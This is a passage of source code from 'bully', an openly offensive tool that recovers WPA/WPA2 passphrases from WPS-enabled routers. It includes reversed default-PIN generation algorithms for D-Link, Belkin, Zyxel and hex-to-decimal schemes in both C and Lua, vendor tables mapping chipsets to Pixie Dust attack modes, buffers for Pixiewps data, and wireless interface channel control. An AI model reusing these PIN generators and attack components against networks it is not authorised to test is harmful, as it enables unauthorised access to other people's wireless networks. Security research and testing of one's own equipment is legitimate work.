NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { struct tls_global *global = tls_ctx; ALG_ID algs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; if (conn == NULL) return -1; if (global->my_cert_store == NULL && (global->my_cert_store = CertOpenSystemStore(0, TEXT("MY"))) == NULL) { wpa_printf(MSG_ERROR, "%s: CertOpenSystemStore failed - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } os_memset(&conn->schannel_cred, 0, sizeof(conn->schannel_cred)); conn->schannel_cred.dwVersion = SCHANNEL_CRED_VERSION; conn->schannel_cred.grbitEnabledProtocols = SP_PROT_TLS1; algs[0] = CALG_RSA_KEYX; conn->schannel_cred.cSupportedAlgs = 1; conn->schannel_cred.palgSupportedAlgs = algs; conn->schannel_cred.dwFlags |= SCH_CRED_NO_DEFAULT_CREDS; #ifdef UNICODE status = global->sspi->AcquireCredentialsHandleW( NULL, UNISP_NAME_W, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); #else /* UNICODE */ status = global->sspi->AcquireCredentialsHandleA( NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, &conn->schannel_cred, NULL, NULL, &conn->creds, &ts_expiry); #endif /* UNICODE */ if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: AcquireCredentialsHandleA failed - " "0x%x", __func__, (unsigned int) status); return -1; } return 0; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final); { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } bully-1.4-00/src/frame.c000077500000000000000000000031131361530463600147570ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "80211.h" #include "frame.h" static inline void f_set(frame_t *fp, int id, int next, uint8 *data, int size, int list) { fp[id].next = (next ? &fp[next] : NULL); fp[id].data = data; fp[id].size = size; fp[id].list = (list ? &fp[list] : NULL); }; frame_t *f_init() { frame_t *fp = calloc(F_SIZE, F_MAX); if (fp) { f_set(fp, F_ALL, 0, NULL, 0, F_TAP); f_set(fp, F_TAP, F_MAC, NULL, 0, 0); f_set(fp, F_MAC, F_PAY, NULL, 0, 0); f_set(fp, F_PAY, F_FCS, NULL, 0, F_LLC); f_set(fp, F_FCS, 0, NULL, 0, 0); f_set(fp, F_LLC, F_D1X, NULL, 0, 0); f_set(fp, F_D1X, F_EAP, NULL, 0, 0); f_set(fp, F_EAP, F_WFA, NULL, 0, 0); f_set(fp, F_WFA, F_MSG, NULL, 0, 0); f_set(fp, F_MSG, F_IDK, NULL, 0, 0); f_set(fp, F_IDK, 0, NULL, 0, 0); }; return fp; }; bully-1.4-00/src/frame.h000077500000000000000000000024031361530463600147650ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _FRAME_H #define _FRAME_H struct frame { struct frame *next; uint8 *data; int size; struct frame *list; }; typedef struct frame frame_t; #define F_SIZE (sizeof(frame_t)) #define F_ALL 0 #define F_TAP 1 #define F_MAC 2 #define F_PAY 3 #define F_FCS 4 #define F_LLC 5 #define F_D1X 6 #define F_EAP 7 #define F_WFA 8 #define F_MSG 9 #define F_IDK 10 #define F_MAX 11 static inline void f_set(frame_t *fp, int id, int next, uint8 *data, int size, int list); #endif /* _FRAME_H */ bully-1.4-00/src/iface.c000077500000000000000000000060011361530463600147330ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "iface.h" int set_chan(struct global *G, int chan) { if (!G->index[chan]) { vprint("[X] AP channel '%d' not found in the current channel list\n", chan); exit(5); }; return set_chanx(G, G->index[chan]); }; int set_chanx(struct global *G, int chanx) { int sock = 0, freq, result, channel = 0; struct iwreq wrq; memset(&wrq, 0, sizeof(struct iwreq)); strncpy(wrq.ifr_name, G->ifname, IFNAMSIZ); if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { vprint("[!] Socket open for ioctl() on '%s' failed with '%d'\n", G->ifname, sock); return 0; }; if (chanx) { channel = G->chans[chanx]; wrq.u.freq.m = (double)channel; wrq.u.freq.e = (double)0; wrq.u.freq.flags = IW_FREQ_FIXED; vprint("[+] Switching interface '%s' to channel '%d'\n", G->ifname, channel); if (ioctl(sock, SIOCSIWFREQ, &wrq) < 0) { usleep(10000); if ((result = ioctl(sock, SIOCSIWFREQ, &wrq)) < 0) { vprint("[!] ioctl(SIOCSIWFREQ) on '%s' failed with '%d'\n", G->ifname, result); vprint("[X] Unable to set channel on '%s', exiting\n", G->ifname); exit(8); }; }; } else { if (ioctl(sock, SIOCGIWFREQ, &wrq) < 0) { vprint("[!] ioctl(SIOCGIWFREQ) on '%s' failed with '%d'\n", G->ifname, result); } else { freq = wrq.u.freq.m; if (freq < 100000000) freq *= 100000000; for (chanx=1; chanx<=G->chans[0]; chanx++) if (freq == G->freqs[chanx]) { channel = G->chans[chanx]; goto set_exit; }; vprint("[X] Unknown frequency '%d' reported by interface '%s'\n", freq, G->ifname); }; chanx = channel = 0; }; set_exit: close(sock); if (channel) snprintf(G->schan, 8, "%d", channel); else memcpy(G->schan, "unknown", 8); return chanx; }; int next_chan(struct global *G) { int next = G->chanx + 1; if (G->chans[0] < next) next = 1; return set_chanx(G, next); }; int get_hwmac(char *ifname, uint8 *mac) { int sock = 0, result; struct ifreq irq; memset(&irq, 0, sizeof(struct iwreq)); strncpy(irq.ifr_name, ifname, IFNAMSIZ); if((sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return sock; if ((result = ioctl(sock, SIOCGIFHWADDR, &irq)) < 0) return result; memcpy(mac, irq.ifr_hwaddr.sa_data, 6); close(sock); return 0; }; bully-1.4-00/src/iface.h000077500000000000000000000041601361530463600147440ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _IFACE_H #define _IFACE_H #include "bully.h" char BG_CHANS[] = "1,5,9,13,2,6,10,3,7,11,4,8,12"; char AN_CHANS[] = "36,40,44,48,52,56,58,60"; struct cfreq { int chan; int freq; } freqs[] = { { 1, 241200000 }, { 2, 241700000 }, { 3, 242200000 }, { 4, 242700000 }, { 5, 243200000 }, { 6, 243700000 }, { 7, 244200000 }, { 8, 244700000 }, { 9, 245200000 }, { 10, 245700000 }, { 11, 246200000 }, { 12, 246700000 }, { 13, 247200000 }, { 14, 248400000 }, { 34, 517000000 }, { 36, 518000000 }, { 38, 519000000 }, { 40, 520000000 }, { 42, 521000000 }, { 44, 522000000 }, { 46, 523000000 }, { 48, 524000000 }, { 52, 526000000 }, { 56, 528000000 }, { 58, 530000000 }, { 60, 532000000 }, { 100, 550000000 }, { 104, 552000000 }, { 108, 554000000 }, { 112, 556000000 }, { 116, 558000000 }, { 120, 560000000 }, { 124, 562000000 }, { 128, 564000000 }, { 132, 566000000 }, { 136, 568000000 }, { 140, 570000000 }, { 149, 574500000 }, { 153, 576500000 }, { 157, 578500000 }, { 161, 580500000 }, { 165, 582500000 } #define MAX_CHAN 165 }; #define NUM_CHAN (sizeof(freqs)/sizeof(struct cfreq)) int set_chan(struct global *G, int chan); int set_chanx(struct global *G, int chanx); int next_chan(struct global *G); #endif /* _IFACE_H */ bully-1.4-00/src/lua/000077500000000000000000000000001361530463600143015ustar00rootroot00000000000000bully-1.4-00/src/lua/pure_algorithm.lua000066400000000000000000000047671361530463600200430ustar00rootroot00000000000000--[[ Pure implementations in Lua 5.2 (without using the 'algorithm' library) ]]-- -- Same as 'algorithm.hex2dec(tbl_bssid, [offset])' -- or 'algorithm.hex2dec(str_bssid, [offset])' function gen_hex2dec(offset) local pin = tonumber(str_bssid:sub(-6), 16) pin = pin + (offset == nil and 0 or offset) -- Default offset = 0 pin = pin % 10000000 return pin * 10 + wps_pin_checksum(pin) end -- Same as 'algorithm.zyxel(tbl_bssid, [offset])' -- or 'algorithm.zyxel(str_bssid, [offset])' function gen_zyxel(offset) local pin = tonumber(str_bssid:sub(-1, -2) .. str_bssid:sub(-3, -4) .. str_bssid:sub(-5, -6), 16) pin = pin + (offset == nil and 0 or offset) pin = pin % 10000000 return pin * 10 + wps_pin_checksum(pin) end -- Same as 'algorithm.dlink(tbl_bssid, [offset])' -- or 'algorithm.dlink(str_bssid, [offset]) function gen_dlink(offset) local pin = tonumber(str_bssid:sub(-6), 16) pin = pin + (offset == nil and 1 or offset) -- WAN mac is BSSID + 1 (default) pin = bit32.bxor(pin, tonumber("0x55AA55")) pin = bit32.bxor(pin, (bit32.lshift(bit32.band(pin, 15), 4) + bit32.lshift(bit32.band(pin, 15), 8) + bit32.lshift(bit32.band(pin, 15), 12) + bit32.lshift(bit32.band(pin, 15), 16) + bit32.lshift(bit32.band(pin, 15), 20))) pin = pin % 10000000 if (pin < 1000000) then pin = pin + ((pin % 9) * 1000000) + 1000000 end return pin * 10 + wps_pin_checksum(pin) end -- Same as 'algorithm.belink(tbl_bssid, str_wps_serial)' -- or 'algorithm.belink(str_bssid, str_wps_serial)' function gen_belkin() local sn = { tonumber(str_wps_serial:sub(-1, -1), 16), tonumber(str_wps_serial:sub(-2, -2), 16), tonumber(str_wps_serial:sub(-3, -3), 16), tonumber(str_wps_serial:sub(-4, -4), 16) } local nic = { tonumber(str_bssid:sub(-1, -1), 16), tonumber(str_bssid:sub(-2, -2), 16), tonumber(str_bssid:sub(-3, -3), 16), tonumber(str_bssid:sub(-4, -4), 16) } local k1 = (sn[3] + sn[4] + nic[1] + nic[2]) % 16 local k2 = (sn[1] + sn[2] + nic[4] + nic[3]) % 16 local pin = bit32.bxor(k1, sn[2]) local t1, t2 = bit32.bxor(k1, sn[1]), bit32.bxor(k2, nic[2]) local p1 = bit32.bxor(nic[1], sn[2], t1) local p2 = bit32.bxor(k2, nic[1], t2) local p3 = bit32.bxor(k1, sn[3], k2, nic[3]) k1 = bit32.bxor(k1, k2) pin = bit32.bxor(pin, k1) * 16 pin = (pin + t1) * 16; pin = (pin + p1) * 16; pin = (pin + t2) * 16; pin = (pin + p2) * 16; pin = (pin + k1) * 16; pin = pin + p3 pin = (pin % 10000000) - (math.floor((pin % 10000000) / 10000000) * k1) return pin * 10 + wps_pin_checksum(pin) end bully-1.4-00/src/lua/pure_wps.lua000066400000000000000000000013521361530463600166510ustar00rootroot00000000000000--[[ Pure implementations in Lua 5.2 (without using the 'wps' library) ]]-- -- Same as 'wps.pin_checksum(pin)' function wps_pin_checksum(pin) local accum = 0 pin = pin * 10 accum = accum + 3 * (math.floor(pin / 10000000) % 10) accum = accum + 1 * (math.floor(pin / 1000000) % 10) accum = accum + 3 * (math.floor(pin / 100000) % 10) accum = accum + 1 * (math.floor(pin / 10000) % 10) accum = accum + 3 * (math.floor(pin / 1000) % 10) accum = accum + 1 * (math.floor(pin / 100) % 10) accum = accum + 3 * (math.floor(pin / 10) % 10) return (10 - (accum % 10)) % 10 end -- Same as 'wps.pin_valid(pin)' except this one returns true or false (!) function wps_pin_valid(pin) return wps_pin_checksum(math.floor(pin / 10)) == (pin % 10) end bully-1.4-00/src/lua/template.lua000066400000000000000000000010311361530463600166120ustar00rootroot00000000000000--[[ DO NOT modify directly global variables IF you want to preserve their original value throughout the execution of the script (tables and numbers; strings are immutable) ]]-- -- Make use of provided libraries! require("algorithm") -- require("wps") -- Entry point (returns an arbitrary list of PINs) function main() return algorithm.hex2dec(str_bssid), 12345670 end --[[ Global variables: * tbl_bssid[1..6] (or 'str_bssid' as string variant) * str_essid (string) * str_wps_serial (string) * wps_version (real) ]]-- bully-1.4-00/src/luaclib.c000066400000000000000000000174001361530463600153010ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include #include #include #include #include "pingen.h" /* For debugging when developing */ static void stack_dump(lua_State *L) { int i; int top = lua_gettop(L); for (i = 1; i <= top; i++) { /* Repeat for each level */ int t = lua_type(L, i); switch (t) { case LUA_TSTRING: /* Strings */ printf("`%s'", lua_tostring(L, i)); break; case LUA_TBOOLEAN: /* Booleans */ printf(lua_toboolean(L, i) ? "true" : "false"); break; case LUA_TNUMBER: /* Numbers */ printf("%g", lua_tonumber(L, i)); break; default: /* Other values */ printf("%s", lua_typename(L, t)); break; }; printf(" "); /* Put a separator */ }; printf("\n"); /* End the listing */ }; /* Lua wrapper around 'wps_pin_checksum' */ static int l_wps_checksum(lua_State *L) { if (lua_gettop(L) == 1) { /* 1 argument passed */ if (lua_isnumber(L, -1)) { /* Either number or string representing number */ unsigned int n = lua_tonumber(L, -1); n = m_wps_pin_checksum(n); lua_pushnumber(L, n); /* Push result */ return 1; /* Number of results returned */ }; }; }; /* Lua wrapper around 'wps_pin_valid' */ static int l_wps_valid(lua_State *L) { if (lua_gettop(L) == 1) { /* 1 argument passed */ if (lua_isnumber(L, -1)) { /* Either number or string representing number */ unsigned int n = lua_tonumber(L, -1); n = m_wps_pin_valid(n); lua_pushnumber(L, n); /* Push result */ return 1; /* Number of results returned */ }; }; }; /* Exposed functions */ const struct luaL_Reg wps_fn[] = { {"pin_checksum", l_wps_checksum}, {"pin_valid", l_wps_valid }, {NULL, NULL} }; /* Load functions */ int luaopen_wpslib(lua_State *L) { luaL_newlibtable(L, wps_fn); luaL_setfuncs(L, wps_fn, 0); return 1; }; /* Wrapper for pair (bssid, offset) function generators */ static int l_gen_wrapper(lua_State *L, unsigned int (*f)(uint8_t *, int), int change) { unsigned int num_args = lua_gettop(L); int index = -1; int offset = change; int type; if (num_args == 1) { redo: type = lua_type(L, index); if (type == LUA_TSTRING) { unsigned int len = lua_rawlen(L, index); if (len == 12 || len == 6) { const char *bssid = lua_tostring(L, index) + (len - 6); uint8_t bmac[6]; unsigned int imac[3]; sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]); bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2]; unsigned int pin = f(bmac, offset); lua_pushnumber(L, pin); return 1; /* Number of results */ }; } else if (type == LUA_TTABLE) { unsigned int len = lua_rawlen(L, index); if (len == 6 || len == 3) { uint8_t bmac[6]; for (unsigned int i = 0; i < 3; i++) { lua_rawgeti(L, index - i, len - 3 + 1 + i); bmac[3 + i] = (uint8_t) lua_tonumber(L, -1); }; lua_pop(L, 3); unsigned int pin = f(bmac, offset); lua_pushnumber(L, pin); return 1; /* Number of results */ }; }; } else if (num_args == 2) { int current = -1; if (lua_type(L, current) == LUA_TNUMBER) { index = -2; } else if (lua_type(L, --current) == LUA_TNUMBER) { index = -1; } else { lua_pushnil(L); return 1; }; offset = lua_tonumber(L, current); goto redo; /* If the code is readable, GOTOs are not a bad practice */ }; lua_pushnil(L); /* Error */ return 1; }; /* Lua wrapper around 'gen_hex2dec' */ static int l_gen_hex2dec(lua_State *L) { #define HEX2DEC_OFFSET 0 return l_gen_wrapper(L, gen_hex2dec, HEX2DEC_OFFSET); }; /* Lua wrapper around 'gen_zyxel' */ static int l_gen_zyxel(lua_State *L) { #define ZYXEL_OFFSET 0 return l_gen_wrapper(L, gen_zyxel, ZYXEL_OFFSET); }; /* Lua wrapper around 'gen_dlink' */ static int l_gen_dlink(lua_State *L) { #define DLINK_OFFSET 1 /* WAN mac is BSSID + 1 */ return l_gen_wrapper(L, gen_dlink, DLINK_OFFSET); }; /* Lua wrapper around 'gen_belkin' */ static int l_gen_belkin(lua_State *L) { unsigned int num_args = lua_gettop(L); if (num_args == 2) { int type_first = lua_type(L, -1); int type_second = lua_type(L, -2); if (type_second == LUA_TTABLE && type_first == LUA_TSTRING) { unsigned int len = lua_rawlen(L, -2); if (len == 6 || len == 3) { uint8_t bmac[6]; for (unsigned int i = 0; i < 3; i++) { lua_rawgeti(L, -2 - i, len - 3 + 1 + i); bmac[3 + i] = (uint8_t) lua_tonumber(L, -1); }; lua_pop(L, 3); const char *serial = lua_tostring(L, -1); unsigned int pin = gen_belkin(bmac, serial); lua_pushnumber(L, pin); return 1; /* Number of results */ } else { goto error; /* Error */ }; } else if (type_second == LUA_TSTRING && type_first == LUA_TTABLE) { unsigned int len = lua_rawlen(L, -1); if (len == 6 || len == 3) { uint8_t bmac[6]; for (unsigned int i = 0; i < 3; i++) { lua_rawgeti(L, -1 - i, len - 3 + 1 + i); bmac[3 + i] = (uint8_t) lua_tonumber(L, -1); }; lua_pop(L, 3); const char *serial = lua_tostring(L, -2); unsigned int pin = gen_belkin(bmac, serial); lua_pushnumber(L, pin); return 1; /* Number of results */ } else { goto error; /* Error */ }; } else if (type_second == LUA_TSTRING && type_first == LUA_TSTRING) { unsigned int len1 = lua_rawlen(L, -1); unsigned int len2 = lua_rawlen(L, -2); int idx_bssid; int idx_serial; const char *bssid; const char *serial; unsigned int bssidlen; if ((len2 == 6 || len2 == 12) && (len1 != 6 && len1 != 12)) { idx_bssid = -2; idx_serial = -1; } else if ((len1 == 6 || len1 == 12) && (len2 != 6 && len2 != 12)) { idx_bssid = -1; idx_serial = -2; } else { /* If undistinguishable assume first parameter is bssid */ idx_bssid = -2; idx_serial = -1; }; serial = lua_tostring(L, idx_serial); bssidlen = lua_rawlen(L, idx_bssid); if (bssidlen == 12 || bssidlen == 6) { const char *bssid = lua_tostring(L, idx_bssid) + (bssidlen - 6); uint8_t bmac[6]; unsigned int imac[3]; sscanf(bssid, "%02X%02X%02X", &imac[0], &imac[1], &imac[2]); bmac[3] = imac[0]; bmac[4] = imac[1]; bmac[5] = imac[2]; unsigned int pin = gen_belkin(bmac, serial); lua_pushnumber(L, pin); return 1; }; }; }; error: lua_pushnil(L); return 1; }; /* Exposed functions */ const struct luaL_Reg algo_fn[] = { {"hex2dec", l_gen_hex2dec}, {"zyxel", l_gen_zyxel }, {"dlink", l_gen_dlink }, {"belkin", l_gen_belkin }, {NULL, NULL} }; /* Load functions */ int luaopen_algolib(lua_State *L) { luaL_newlibtable(L, algo_fn); luaL_setfuncs(L, algo_fn, 0); return 1; }; /* Create a basic Lua environment (omit some libraries) */ lua_State *basic_env() { lua_State *L = luaL_newstate(); if (L) { lua_pushcfunction(L, luaopen_base); lua_pushstring(L, ""); lua_call(L, 1, 0); lua_pushcfunction(L, luaopen_package); lua_pushstring(L, LUA_LOADLIBNAME); lua_call(L, 1, 0); lua_pushcfunction(L, luaopen_string); lua_pushstring(L, LUA_LOADLIBNAME); lua_call(L, 1, 0); lua_pushcfunction(L, luaopen_table); lua_pushstring(L, LUA_LOADLIBNAME); lua_call(L, 1, 0); lua_pushcfunction(L, luaopen_math); lua_pushstring(L, LUA_LOADLIBNAME); lua_call(L, 1, 0); } return L; }; bully-1.4-00/src/luaclib.h000066400000000000000000000017651361530463600153150ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include /* Open WPS-related library */ int luaopen_wpslib(lua_State *L); /* Open PIN algorithms library */ int luaopen_algolib(lua_State *L); /* Create a basic Lua environment (omit some libraries) */ lua_State *basic_env(); bully-1.4-00/src/pdust.c000066400000000000000000000030121361530463600150170ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include #include #include "pdust.h" char OUI_NULL[OUI_STR_LEN] = "-"; vendor_t vendor_list[] = { {"\x00\x03\x7f", "AtherosC", PWPS_NONE }, /* Atheros Communications */ {"\x00\x10\x18", "Broadcom", PWPS_ECOS_SIMPLE}, /* Broadcom */ {"\x00\x50\x43", "MarvellS", PWPS_NONE }, /* MARVELL SEMICONDUCTOR, INC */ {"\x00\x0c\x43", "RalinkTe", PWPS_RT }, /* Ralink Technology, Corp. */ {"\x00\xe0\x4c", "RealtekS", PWPS_RTL819x } /* REALTEK SEMICONDUCTOR CORP. */ }; #define VENDOR_LIST_SIZE (sizeof(vendor_list) / sizeof(vendor_list[0])) char *get_vendor(uint8_t *oui) { int i; for (i = 0; i < VENDOR_LIST_SIZE; i++) { if (!memcmp(vendor_list[i].oui, oui, 3)) return vendor_list[i].name; }; return OUI_NULL; };bully-1.4-00/src/pdust.h000066400000000000000000000032021361530463600150250ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _PDUST_H #define _PDUST_H #include /* Pixiewps modes */ #define PWPS_NONE 0 #define PWPS_RT 1 #define PWPS_ECOS_SIMPLE 2 #define PWPS_RTL819x 3 #define PWPS_ECOS_SIMPLEST 4 #define PWPS_ECOS_KNUTH 5 #define OUI_STR_LEN 8 + 1 struct vendor_oui { uint8_t oui[3]; char name[OUI_STR_LEN]; uint8_t pixiewps_mode; }; typedef struct vendor_oui vendor_t; extern char OUI_NULL[OUI_STR_LEN]; extern vendor_t vendor_list[]; char *get_vendor(uint8_t *oui); struct wps_info { uint8_t vendor[3]; uint8_t vendor_p; uint8_t version; uint8_t uuid[16]; uint16_t category; uint16_t subcategory; uint16_t passw_id; uint8_t passw_id_p; uint16_t config_methods; char manufacturer[64 + 1]; char device_name[32 + 1]; char model_name[32 + 1]; char model_number[32 + 1]; char serial_number[32 + 1]; }; typedef struct wps_info wps_info_t; #endif /* _PDUST_H */ bully-1.4-00/src/pingen.c000066400000000000000000000065731361530463600151570ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ /* References: * http://www.devttys0.com/2014/10/reversing-d-links-wps-pin-algorithm/ * http://www.devttys0.com/2015/04/reversing-belkins-wps-pin-algorithm/ */ #include #include #include #include "pingen.h" unsigned int m_wps_pin_checksum(unsigned int pin) { unsigned int div = 0; while (pin) { div += 3 * (pin % 10); pin /= 10; div += pin % 10; pin /= 10; }; return ((10 - div % 10) % 10); }; unsigned int m_wps_pin_valid(unsigned int pin) { return m_wps_pin_checksum(pin / 10) == (pin % 10); }; unsigned int gen_hex2dec(uint8_t *bssid, const int offset) { unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5]; pin += offset; pin = pin % 10000000; pin = ((pin * 10) + m_wps_pin_checksum(pin)); return pin; }; unsigned int gen_zyxel(uint8_t *bssid, const int offset) { unsigned int pin = bssid[5] << 16 | bssid[4] << 8 | bssid[3]; pin += offset; pin = pin % 10000000; pin = ((pin * 10) + m_wps_pin_checksum(pin)); return pin; }; unsigned int gen_dlink(uint8_t *bssid, const int offset) { unsigned int pin = bssid[3] << 16 | bssid[4] << 8 | bssid[5]; pin += offset; pin = (pin ^ 0x55AA55); pin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)); pin = pin % 10000000; if (pin < 1000000) pin += ((pin % 9) * 1000000) + 1000000; pin = ((pin * 10) + m_wps_pin_checksum(pin)); return pin; }; /* Used in the Belkin code to convert an ASCII character to an integer */ static int char2int(const char c) { char buf[2] = { 0 }; buf[0] = c; return strtol(buf, NULL, 16); }; unsigned int gen_belkin(uint8_t *bssid, const char *serial) { int sn[4], nic[4]; int k1, k2, pin; int p1, p2, p3; int t1, t2; int serial_len = strlen(serial); sn[0] = char2int(serial[serial_len - 1]); sn[1] = char2int(serial[serial_len - 2]); sn[2] = char2int(serial[serial_len - 3]); sn[3] = char2int(serial[serial_len - 4]); nic[0] = bssid[5] & 0x0F; nic[1] = (bssid[5] & 0xF0) >> 4; nic[2] = bssid[4] & 0x0F; nic[3] = (bssid[4] & 0xF0) >> 4; k1 = (sn[2] + sn[3] + nic[0] + nic[1]) % 16; k2 = (sn[0] + sn[1] + nic[3] + nic[2]) % 16; pin = k1 ^ sn[1]; t1 = k1 ^ sn[0]; t2 = k2 ^ nic[1]; p1 = nic[0] ^ sn[1] ^ t1; p2 = k2 ^ nic[0] ^ t2; p3 = k1 ^ sn[2] ^ k2 ^ nic[2]; k1 = k1 ^ k2; pin = (pin ^ k1) * 16; pin = (pin + t1) * 16; pin = (pin + p1) * 16; pin = (pin + t2) * 16; pin = (pin + p2) * 16; pin = (pin + k1) * 16; pin += p3; pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1); return (pin * 10) + m_wps_pin_checksum(pin); }; bully-1.4-00/src/pingen.h000066400000000000000000000023551361530463600151560ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2017 wiire This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #ifndef _PINGEN_H #define _PINGEN_H #include unsigned int gen_hex2dec(uint8_t *bssid, const int offset); unsigned int gen_zyxel(uint8_t *bssid, const int offset); unsigned int gen_dlink(uint8_t *bssid, const int offset); unsigned int gen_belkin(uint8_t *bssid, const char *serial); /* Included to avoid possible linking issues with main project */ unsigned int m_wps_pin_checksum(unsigned int pin); unsigned int m_wps_pin_valid(unsigned int pin); #endif /* _PINGEN_H */ bully-1.4-00/src/pixie.h000066400000000000000000000006451361530463600150140ustar00rootroot00000000000000//fixed size char pixie_pke[1000]; /* save pke */ char pixie_pkr[1000]; /* save pkr */ char pixie_enonce[100]; /* save e-nonce */ char pixie_rnonce[100]; /* save r-nonce */ char pixie_authkey[100]; /* save AuthKey */ char pixie_ehash1[100]; /* save e-hash1 */ char pixie_ehash2[100]; /* save e-hash2 */ char p_iface[20]; char p_bssid[256]; int run_pixiewps; int op_gen_pin; int debug_level; bully-1.4-00/src/timer.c000077500000000000000000000030061361530463600150060ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the 